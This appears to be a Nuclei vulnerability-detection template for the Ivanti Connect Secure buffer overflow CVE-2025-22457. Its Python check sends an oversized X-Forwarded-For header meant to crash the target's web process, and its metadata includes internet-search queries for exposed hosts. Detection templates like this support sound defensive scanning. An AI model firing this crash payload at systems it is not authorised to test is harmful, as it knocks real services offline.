id: CVE-2025-22457 info: name: Ivanti Connect Secure - Stack-based Buffer Overflow author: s4e-io,pussycat0x severity: critical description: | Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by improper input handling, allowing remote attackers to execute arbitrary code without authentication. impact: | Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise. remediation: | Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later. reference: - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457 - https://www.cvedetails.com/cve/CVE-2025-22457 - https://github.com/securekomodo/CVE-2025-22457 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.0 cve-id: CVE-2025-22457 cwe-id: CWE-121,CWE-787 epss-score: 0.55896 epss-percentile: 0.98136 cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:* metadata: vendor: ivanti product: connect_secure shodan-query: http.title:"ivanti connect secure" fofa-query: title="ivanti connect secure" zoomeye-query: title:"ivanti connect secure" google-query: intitle:"ivanti connect secure" tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln variables: HOST: "{{Host}}" PORT: "{{Port}}" flow: http(1) && code(1) http: - method: GET path: - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi" matchers: - type: dsl internal: true dsl: - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")' - 'status_code == 200' condition: and code: - engine: - py - python3 source: | import os import time import requests import re requests.packages.urllib3.disable_warnings() PATHS = [ "/dana-na/auth/url_default/welcome.cgi", "/dana-na/setup/psaldownload.cgi", ] IVANTI_MARKERS = [ "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "welcome.cgi", "dana-na", ] TIMEOUT_NORMAL = 5 TIMEOUT_PAYLOAD = 10 def safe_request(method, url, headers=None, timeout=5): try: if method == "GET": return requests.get(url, headers=headers, timeout=timeout, verify=False) elif method == "POST": return requests.post(url, headers=headers, timeout=timeout, verify=False) except requests.exceptions.RequestException: return None class IvantiExploit: def __init__(self, host, port): self.host = host.rstrip("/") self.port = port def build_url(self, path): host = self.host if not host.startswith("http://") and not host.startswith("https://"): host = f"https://{host}" return f"{host}:{self.port}{path}" def is_ivanti(self, response_text): for marker in IVANTI_MARKERS: if marker in response_text: return True return False def check_vuln(self): for path in PATHS: url = self.build_url(path) # Step 1: Pre-check - must be reachable, return 200, and be Ivanti r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL) if not r1 or r1.status_code != 200: continue if not self.is_ivanti(r1.text): print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.") return False print(f"Ivanti fingerprint confirmed on {url}") # Step 2: Send crash payload - POST with oversized X-Forwarded-For # A vulnerable server will CRASH (no response / timeout) # A patched or non-vulnerable server will respond normally payload_headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": "1" * 2048, } r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD) if r2 is not None: # Server responded normally = NOT crashed = NOT vulnerable print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).") continue # r2 is None = no response = potential crash print("No response to payload (potential crash detected). Verifying...") # Step 3: Follow-up check - server should recover and return 200 # Ivanti's web process auto-restarts after crash time.sleep(2) r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL) if r3 is not None and r3.status_code == 200: print(f"VULNERABLE: {self.host}:{self.port}{path}") return True else: status = r3.status_code if r3 else "no response" print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.") continue print("Target appears safe.") return False if __name__ == "__main__": host = os.getenv("Host") port = os.getenv("Port") IvantiExploit(host, port).check_vuln() matchers: - type: word words: - "VULNERABLE:" # digest: 4a0a004730450221009b995f8cd988d3605b6b753d157ca8d499b140d335b62bedbcb9699d9142ac8a0220136700fa1296bc91ed0f8cb0471c1ba39bfb37568beee23930e2086e0179d409:922c64590222798bb761d5b6d8e72950